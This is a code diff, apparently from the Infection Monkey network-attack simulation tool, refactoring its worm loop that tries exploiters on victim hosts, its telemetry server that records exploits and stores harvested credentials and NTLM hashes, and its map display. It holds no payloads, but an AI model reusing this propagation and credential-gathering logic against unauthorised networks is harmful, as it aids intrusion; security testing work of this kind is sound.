class VictimHost(object):
|
class VictimHost(object):
|
||||||
def __init__(self, ip_addr):
|
def __init__(self, ip_addr):
|
||||||
self.ip_addr = ip_addr
|
self.ip_addr = ip_addr
|
||||||
self.cred = {}
|
|
||||||
self.os = {}
|
self.os = {}
|
||||||
self.services = {}
|
self.services = {}
|
||||||
self.monkey_exe = None
|
self.monkey_exe = None
|
||||||
|
@ -30,24 +29,19 @@ class VictimHost(object):
|
||||||
return self.ip_addr.__cmp__(other.ip_addr)
|
return self.ip_addr.__cmp__(other.ip_addr)
|
||||||
|
|
||||||
def __repr__(self):
|
def __repr__(self):
|
||||||
return "<VictimHost %s>" % (self.ip_addr, )
|
return "<VictimHost %s>" % self.ip_addr
|
||||||
|
|
||||||
def __str__(self):
|
def __str__(self):
|
||||||
victim = "Victim Host %s: " % self.ip_addr
|
victim = "Victim Host %s: " % self.ip_addr
|
||||||
victim += "OS - ["
|
victim += "OS - ["
|
||||||
for k, v in self.os.iteritems():
|
for k, v in self.os.items():
|
||||||
victim += "%s-%s " % (k, v)
|
victim += "%s-%s " % (k, v)
|
||||||
victim += "] Services - ["
|
victim += "] Services - ["
|
||||||
for k, v in self.services.iteritems():
|
for k, v in self.services.items():
|
||||||
victim += "%s-%s " % (k, v)
|
victim += "%s-%s " % (k, v)
|
||||||
victim += ']'
|
victim += ']'
|
||||||
|
victim += "target monkey: %s" % self.monkey_exe
|
||||||
return victim
|
return victim
|
||||||
|
|
||||||
def learn_credentials(self, username, password):
|
|
||||||
self.cred[username.lower()] = password
|
|
||||||
|
|
||||||
def get_credentials(self, username):
|
|
||||||
return self.cred.get(username.lower(), None)
|
|
||||||
|
|
||||||
def set_default_server(self, default_server):
|
def set_default_server(self, default_server):
|
||||||
self.default_server = default_server
|
self.default_server = default_server
|
||||||
|
|
|
@ -109,7 +109,7 @@ class ChaosMonkey(object):
|
||||||
|
|
||||||
self._network.initialize()
|
self._network.initialize()
|
||||||
|
|
||||||
self._exploiters = [exploiter() for exploiter in WormConfiguration.exploiter_classes]
|
self._exploiters = WormConfiguration.exploiter_classes
|
||||||
|
|
||||||
self._fingerprint = [fingerprint() for fingerprint in WormConfiguration.finger_classes]
|
self._fingerprint = [fingerprint() for fingerprint in WormConfiguration.finger_classes]
|
||||||
|
|
||||||
|
@ -152,34 +152,31 @@ class ChaosMonkey(object):
|
||||||
machine.set_default_server(self._default_server)
|
machine.set_default_server(self._default_server)
|
||||||
|
|
||||||
successful_exploiter = None
|
successful_exploiter = None
|
||||||
for exploiter in self._exploiters:
|
for exploiter in [exploiter(machine) for exploiter in self._exploiters]:
|
||||||
if not exploiter.is_os_supported(machine):
|
if not exploiter.is_os_supported():
|
||||||
LOG.info("Skipping exploiter %s host:%r, os is not supported",
|
LOG.info("Skipping exploiter %s host:%r, os is not supported",
|
||||||
exploiter.__class__.__name__, machine)
|
exploiter.__class__.__name__, machine)
|
||||||
continue
|
continue
|
||||||
|
|
||||||
LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__)
|
LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__)
|
||||||
|
|
||||||
|
result = False
|
||||||
try:
|
try:
|
||||||
if exploiter.exploit_host(machine, WormConfiguration.depth):
|
result = exploiter.exploit_host()
|
||||||
|
if result:
|
||||||
successful_exploiter = exploiter
|
successful_exploiter = exploiter
|
||||||
break
|
break
|
||||||
else:
|
else:
|
||||||
LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__)
|
LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__)
|
||||||
ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__,
|
|
||||||
'exploiter': exploiter.__class__.__name__})
|
|
||||||
|
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.exception("Exception while attacking %s using %s: %s",
|
LOG.exception("Exception while attacking %s using %s: %s",
|
||||||
machine, exploiter.__class__.__name__, exc)
|
machine, exploiter.__class__.__name__, exc)
|
||||||
ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__,
|
finally:
|
||||||
'exploiter': exploiter.__class__.__name__})
|
exploiter.send_exploit_telemetry(result)
|
||||||
continue
|
|
||||||
|
|
||||||
if successful_exploiter:
|
if successful_exploiter:
|
||||||
self._exploited_machines.add(machine)
|
self._exploited_machines.add(machine)
|
||||||
ControlClient.send_telemetry('exploit', {'result': True, 'machine': machine.__dict__,
|
|
||||||
'exploiter': successful_exploiter.__class__.__name__})
|
|
||||||
|
|
||||||
LOG.info("Successfully propagated to %s using %s",
|
LOG.info("Successfully propagated to %s using %s",
|
||||||
machine, successful_exploiter.__class__.__name__)
|
machine, successful_exploiter.__class__.__name__)
|
||||||
|
|
|
@ -1,15 +1,15 @@
|
||||||
import json
|
import json
|
||||||
from datetime import datetime
|
|
||||||
import traceback
|
import traceback
|
||||||
|
from datetime import datetime
|
||||||
|
|
||||||
import dateutil
|
import dateutil
|
||||||
from flask import request
|
|
||||||
import flask_restful
|
import flask_restful
|
||||||
|
from flask import request
|
||||||
|
|
||||||
from cc.database import mongo
|
from cc.database import mongo
|
||||||
|
from cc.services.config import ConfigService
|
||||||
from cc.services.edge import EdgeService
|
from cc.services.edge import EdgeService
|
||||||
from cc.services.node import NodeService
|
from cc.services.node import NodeService
|
||||||
from cc.services.config import ConfigService
|
|
||||||
|
|
||||||
__author__ = 'Barak'
|
__author__ = 'Barak'
|
||||||
|
|
||||||
|
@ -43,16 +43,7 @@ class Telemetry(flask_restful.Resource):
|
||||||
monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])
|
monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])
|
||||||
|
|
||||||
try:
|
try:
|
||||||
if telemetry_json.get('telem_type') == 'tunnel':
|
TELEM_PROCESS_DICT[telemetry_json.get('telem_type')](telemetry_json)
|
||||||
self.process_tunnel_telemetry(telemetry_json)
|
|
||||||
elif telemetry_json.get('telem_type') == 'state':
|
|
||||||
self.process_state_telemetry(telemetry_json)
|
|
||||||
elif telemetry_json.get('telem_type') == 'exploit':
|
|
||||||
self.process_exploit_telemetry(telemetry_json)
|
|
||||||
elif telemetry_json.get('telem_type') == 'scan':
|
|
||||||
self.process_scan_telemetry(telemetry_json)
|
|
||||||
elif telemetry_json.get('telem_type') == 'system_info_collection':
|
|
||||||
self.process_system_info_telemetry(telemetry_json)
|
|
||||||
NodeService.update_monkey_modify_time(monkey["_id"])
|
NodeService.update_monkey_modify_time(monkey["_id"])
|
||||||
except StandardError as ex:
|
except StandardError as ex:
|
||||||
print("Exception caught while processing telemetry: %s" % str(ex))
|
print("Exception caught while processing telemetry: %s" % str(ex))
|
||||||
|
@ -60,7 +51,8 @@ class Telemetry(flask_restful.Resource):
|
||||||
|
|
||||||
return mongo.db.telemetry.find_one_or_404({"_id": telem_id})
|
return mongo.db.telemetry.find_one_or_404({"_id": telem_id})
|
||||||
|
|
||||||
def telemetry_to_displayed_telemetry(self, telemetry):
|
@staticmethod
|
||||||
|
def telemetry_to_displayed_telemetry(telemetry):
|
||||||
monkey_guid_dict = {}
|
monkey_guid_dict = {}
|
||||||
monkeys = mongo.db.monkey.find({})
|
monkeys = mongo.db.monkey.find({})
|
||||||
for monkey in monkeys:
|
for monkey in monkeys:
|
||||||
|
@ -77,7 +69,8 @@ class Telemetry(flask_restful.Resource):
|
||||||
|
|
||||||
return objects
|
return objects
|
||||||
|
|
||||||
def get_edge_by_scan_or_exploit_telemetry(self, telemetry_json):
|
@staticmethod
|
||||||
|
def get_edge_by_scan_or_exploit_telemetry(telemetry_json):
|
||||||
dst_ip = telemetry_json['data']['machine']['ip_addr']
|
dst_ip = telemetry_json['data']['machine']['ip_addr']
|
||||||
src_monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])
|
src_monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])
|
||||||
dst_node = NodeService.get_monkey_by_ip(dst_ip)
|
dst_node = NodeService.get_monkey_by_ip(dst_ip)
|
||||||
|
@ -86,7 +79,8 @@ class Telemetry(flask_restful.Resource):
|
||||||
|
|
||||||
return EdgeService.get_or_create_edge(src_monkey["_id"], dst_node["_id"])
|
return EdgeService.get_or_create_edge(src_monkey["_id"], dst_node["_id"])
|
||||||
|
|
||||||
def process_tunnel_telemetry(self, telemetry_json):
|
@staticmethod
|
||||||
|
def process_tunnel_telemetry(telemetry_json):
|
||||||
monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])["_id"]
|
monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])["_id"]
|
||||||
if telemetry_json['data']['proxy'] is not None:
|
if telemetry_json['data']['proxy'] is not None:
|
||||||
tunnel_host_ip = telemetry_json['data']['proxy'].split(":")[-2].replace("//", "")
|
tunnel_host_ip = telemetry_json['data']['proxy'].split(":")[-2].replace("//", "")
|
||||||
|
@ -94,32 +88,32 @@ class Telemetry(flask_restful.Resource):
|
||||||
else:
|
else:
|
||||||
NodeService.unset_all_monkey_tunnels(monkey_id)
|
NodeService.unset_all_monkey_tunnels(monkey_id)
|
||||||
|
|
||||||
def process_state_telemetry(self, telemetry_json):
|
@staticmethod
|
||||||
|
def process_state_telemetry(telemetry_json):
|
||||||
monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])
|
monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])
|
||||||
if telemetry_json['data']['done']:
|
if telemetry_json['data']['done']:
|
||||||
NodeService.set_monkey_dead(monkey, True)
|
NodeService.set_monkey_dead(monkey, True)
|
||||||
else:
|
else:
|
||||||
NodeService.set_monkey_dead(monkey, False)
|
NodeService.set_monkey_dead(monkey, False)
|
||||||
|
|
||||||
def process_exploit_telemetry(self, telemetry_json):
|
@staticmethod
|
||||||
edge = self.get_edge_by_scan_or_exploit_telemetry(telemetry_json)
|
def process_exploit_telemetry(telemetry_json):
|
||||||
data = telemetry_json['data']
|
edge = Telemetry.get_edge_by_scan_or_exploit_telemetry(telemetry_json)
|
||||||
data["machine"].pop("ip_addr")
|
new_exploit = telemetry_json['data']
|
||||||
new_exploit = \
|
|
||||||
{
|
new_exploit.pop('machine')
|
||||||
"timestamp": telemetry_json["timestamp"],
|
new_exploit['timestamp'] = telemetry_json['timestamp']
|
||||||
"data": data,
|
|
||||||
"exploiter": telemetry_json['data']['exploiter']
|
|
||||||
}
|
|
||||||
mongo.db.edge.update(
|
mongo.db.edge.update(
|
||||||
{"_id": edge["_id"]},
|
{'_id': edge['_id']},
|
||||||
{"$push": {"exploits": new_exploit}}
|
{'$push': {'exploits': new_exploit}}
|
||||||
)
|
)
|
||||||
if data['result']:
|
if new_exploit['result']:
|
||||||
EdgeService.set_edge_exploited(edge)
|
EdgeService.set_edge_exploited(edge)
|
||||||
|
|
||||||
def process_scan_telemetry(self, telemetry_json):
|
@staticmethod
|
||||||
edge = self.get_edge_by_scan_or_exploit_telemetry(telemetry_json)
|
def process_scan_telemetry(telemetry_json):
|
||||||
|
edge = Telemetry.get_edge_by_scan_or_exploit_telemetry(telemetry_json)
|
||||||
data = telemetry_json['data']['machine']
|
data = telemetry_json['data']['machine']
|
||||||
ip_address = data.pop("ip_addr")
|
ip_address = data.pop("ip_addr")
|
||||||
new_scan = \
|
new_scan = \
|
||||||
|
@ -147,7 +141,8 @@ class Telemetry(flask_restful.Resource):
|
||||||
{"$set": {"os.version": scan_os["version"]}},
|
{"$set": {"os.version": scan_os["version"]}},
|
||||||
upsert=False)
|
upsert=False)
|
||||||
|
|
||||||
def process_system_info_telemetry(self, telemetry_json):
|
@staticmethod
|
||||||
|
def process_system_info_telemetry(telemetry_json):
|
||||||
if 'credentials' in telemetry_json['data']:
|
if 'credentials' in telemetry_json['data']:
|
||||||
creds = telemetry_json['data']['credentials']
|
creds = telemetry_json['data']['credentials']
|
||||||
for user in creds:
|
for user in creds:
|
||||||
|
@ -160,3 +155,11 @@ class Telemetry(flask_restful.Resource):
|
||||||
ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash'])
|
ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash'])
|
||||||
|
|
||||||
|
|
||||||
|
TELEM_PROCESS_DICT = \
|
||||||
|
{
|
||||||
|
'tunnel': Telemetry.process_tunnel_telemetry,
|
||||||
|
'state': Telemetry.process_state_telemetry,
|
||||||
|
'exploit': Telemetry.process_exploit_telemetry,
|
||||||
|
'scan': Telemetry.process_scan_telemetry,
|
||||||
|
'system_info_collection': Telemetry.process_system_info_telemetry,
|
||||||
|
}
|
|
@ -24,66 +24,20 @@ class EdgeService:
|
||||||
def edge_to_displayed_edge(edge):
|
def edge_to_displayed_edge(edge):
|
||||||
services = []
|
services = []
|
||||||
os = {}
|
os = {}
|
||||||
exploits = []
|
|
||||||
if len(edge["scans"]) > 0:
|
if len(edge["scans"]) > 0:
|
||||||
services = EdgeService.services_to_displayed_services(edge["scans"][-1]["data"]["services"])
|
services = EdgeService.services_to_displayed_services(edge["scans"][-1]["data"]["services"])
|
||||||
os = edge["scans"][-1]["data"]["os"]
|
os = edge["scans"][-1]["data"]["os"]
|
||||||
|
|
||||||
for exploit in edge["exploits"]:
|
|
||||||
new_exploit = EdgeService.exploit_to_displayed_exploit(exploit)
|
|
||||||
|
|
||||||
if (len(exploits) > 0) and (exploits[-1]["exploiter"] == exploit["exploiter"]):
|
|
||||||
exploit_container = exploits[-1]
|
|
||||||
else:
|
|
||||||
exploit_container =\
|
|
||||||
{
|
|
||||||
"exploiter": exploit["exploiter"],
|
|
||||||
"start_timestamp": exploit["timestamp"],
|
|
||||||
"end_timestamp": exploit["timestamp"],
|
|
||||||
"result": False,
|
|
||||||
"attempts": []
|
|
||||||
}
|
|
||||||
|
|
||||||
exploits.append(exploit_container)
|
|
||||||
|
|
||||||
exploit_container["attempts"].append(new_exploit)
|
|
||||||
if new_exploit["result"]:
|
|
||||||
exploit_container["result"] = True
|
|
||||||
exploit_container["end_timestamp"] = new_exploit["timestamp"]
|
|
||||||
|
|
||||||
displayed_edge = EdgeService.edge_to_net_edge(edge)
|
displayed_edge = EdgeService.edge_to_net_edge(edge)
|
||||||
|
|
||||||
displayed_edge["ip_address"] = edge["ip_address"]
|
displayed_edge["ip_address"] = edge["ip_address"]
|
||||||
displayed_edge["services"] = services
|
displayed_edge["services"] = services
|
||||||
displayed_edge["os"] = os
|
displayed_edge["os"] = os
|
||||||
displayed_edge["exploits"] = exploits
|
displayed_edge["exploits"] = edge['exploits']
|
||||||
displayed_edge["_label"] = EdgeService.get_edge_label(displayed_edge)
|
displayed_edge["_label"] = EdgeService.get_edge_label(displayed_edge)
|
||||||
return displayed_edge
|
return displayed_edge
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def exploit_to_displayed_exploit(exploit):
|
|
||||||
user = ""
|
|
||||||
password = ""
|
|
||||||
|
|
||||||
# TODO: The format that's used today to get the credentials is bad. Change it from monkey side and adapt.
|
|
||||||
result = exploit["data"]["result"]
|
|
||||||
if result:
|
|
||||||
if "creds" in exploit["data"]["machine"]:
|
|
||||||
user = exploit["data"]["machine"]["creds"].keys()[0]
|
|
||||||
password = exploit["data"]["machine"]["creds"][user]
|
|
||||||
else:
|
|
||||||
if ("user" in exploit["data"]) and ("password" in exploit["data"]):
|
|
||||||
user = exploit["data"]["user"]
|
|
||||||
password = exploit["data"]["password"]
|
|
||||||
|
|
||||||
return \
|
|
||||||
{
|
|
||||||
"timestamp": exploit["timestamp"],
|
|
||||||
"user": user,
|
|
||||||
"password": password,
|
|
||||||
"result": result,
|
|
||||||
}
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def insert_edge(from_id, to_id):
|
def insert_edge(from_id, to_id):
|
||||||
edge_insert_result = mongo.db.edge.insert_one(
|
edge_insert_result = mongo.db.edge.insert_one(
|
||||||
|
|
|
@ -62,9 +62,9 @@ class NodeService:
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _cmp_exploits_by_timestamp(exploit_1, exploit_2):
|
def _cmp_exploits_by_timestamp(exploit_1, exploit_2):
|
||||||
if exploit_1["start_timestamp"] == exploit_2["start_timestamp"]:
|
if exploit_1["timestamp"] == exploit_2["timestamp"]:
|
||||||
return 0
|
return 0
|
||||||
if exploit_1["start_timestamp"] > exploit_2["start_timestamp"]:
|
if exploit_1["timestamp"] > exploit_2["timestamp"]:
|
||||||
return 1
|
return 1
|
||||||
return -1
|
return -1
|
||||||
|
|
||||||
|
|
|
@ -98,7 +98,6 @@ class MapPageComponent extends React.Component {
|
||||||
|
|
||||||
selectionChanged(event) {
|
selectionChanged(event) {
|
||||||
if (event.nodes.length === 1) {
|
if (event.nodes.length === 1) {
|
||||||
console.log('selected node:', event.nodes[0]); // eslint-disable-line no-console
|
|
||||||
fetch('/api/netmap/node?id=' + event.nodes[0])
|
fetch('/api/netmap/node?id=' + event.nodes[0])
|
||||||
.then(res => res.json())
|
.then(res => res.json())
|
||||||
.then(res => this.setState({selected: res, selectedType: 'node'}));
|
.then(res => this.setState({selected: res, selectedType: 'node'}));
|
||||||
|
@ -117,7 +116,6 @@ class MapPageComponent extends React.Component {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
console.log('selection cleared.'); // eslint-disable-line no-console
|
|
||||||
this.setState({selected: null, selectedType: null});
|
this.setState({selected: null, selectedType: null});
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -82,9 +82,9 @@ class PreviewPaneComponent extends React.Component {
|
||||||
<h4 style={{'marginTop': '2em'}}>Timeline</h4>
|
<h4 style={{'marginTop': '2em'}}>Timeline</h4>
|
||||||
<ul className="timeline">
|
<ul className="timeline">
|
||||||
{ asset.exploits.map(exploit =>
|
{ asset.exploits.map(exploit =>
|
||||||
<li key={exploit.start_timestamp}>
|
<li key={exploit.timestamp}>
|
||||||
<div className={'bullet ' + (exploit.result ? 'bad' : '')} />
|
<div className={'bullet ' + (exploit.result ? 'bad' : '')} />
|
||||||
<div>{new Date(exploit.start_timestamp).toLocaleString()}</div>
|
<div>{new Date(exploit.timestamp).toLocaleString()}</div>
|
||||||
<div>{exploit.origin}</div>
|
<div>{exploit.origin}</div>
|
||||||
<div>{exploit.exploiter}</div>
|
<div>{exploit.exploiter}</div>
|
||||||
</li>
|
</li>
|
||||||
|
@ -147,17 +147,23 @@ class PreviewPaneComponent extends React.Component {
|
||||||
</tr>
|
</tr>
|
||||||
</tbody>
|
</tbody>
|
||||||
</table>
|
</table>
|
||||||
<h4 style={{'marginTop': '2em'}}>Timeline</h4>
|
{
|
||||||
<ul className="timeline">
|
(edge.exploits.length === 0) ?
|
||||||
{ edge.exploits.map(exploit =>
|
'' :
|
||||||
<li key={exploit.start_timestamp}>
|
<div>
|
||||||
<div className={'bullet ' + (exploit.result ? 'bad' : '')} />
|
<h4 style={{'marginTop': '2em'}}>Timeline</h4>
|
||||||
<div>{exploit.start_timestamp}</div>
|
<ul className="timeline">
|
||||||
<div>{exploit.origin}</div>
|
{ edge.exploits.map(exploit =>
|
||||||
<div>{exploit.exploiter}</div>
|
<li key={exploit.timestamp}>
|
||||||
</li>
|
<div className={'bullet ' + (exploit.result ? 'bad' : '')} />
|
||||||
)}
|
<div>{new Date(exploit.timestamp).toLocaleString()}</div>
|
||||||
</ul>
|
<div>{exploit.origin}</div>
|
||||||
|
<div>{exploit.exploiter}</div>
|
||||||
|
</li>
|
||||||
|
)}
|
||||||
|
</ul>
|
||||||
|
</div>
|
||||||
|
}
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
Loading…
Reference in New Issue